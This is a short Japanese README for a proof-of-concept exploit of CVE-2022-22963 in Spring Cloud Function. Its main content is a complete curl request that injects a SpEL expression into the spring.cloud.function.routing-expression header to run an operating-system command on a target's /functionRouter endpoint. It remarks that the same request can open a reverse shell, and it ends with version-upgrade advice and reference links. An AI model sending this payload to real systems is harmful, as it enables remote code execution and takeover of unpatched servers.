CVE-2022-22963

CVE-2022-22963 PoC

英語翻訳と検出のために若干修正されています。元のコード: https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE/blob/main/Spel_RCE_POC.py 。デフォルトでは、ターゲット上で whoami が実行され、脆弱な URL を含む vulnerable.txt ファイルが作成されます。

脆弱性の悪用は非常に簡単です。以下に、脆弱性を悪用するための curl コマンドを示します。

curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'

この curl を使えば、オペレーティングシステム上にファイルを作成するのは簡単ですが、脆弱なホストやコンテナ上でリバースシェルを開くためにも使用できます。

CVE-2022-22963 の影響を受ける場合は、アプリケーションを最新バージョン 3.1.7 および 3.2.3 に更新する必要があります。

詳細情報

https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html, https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52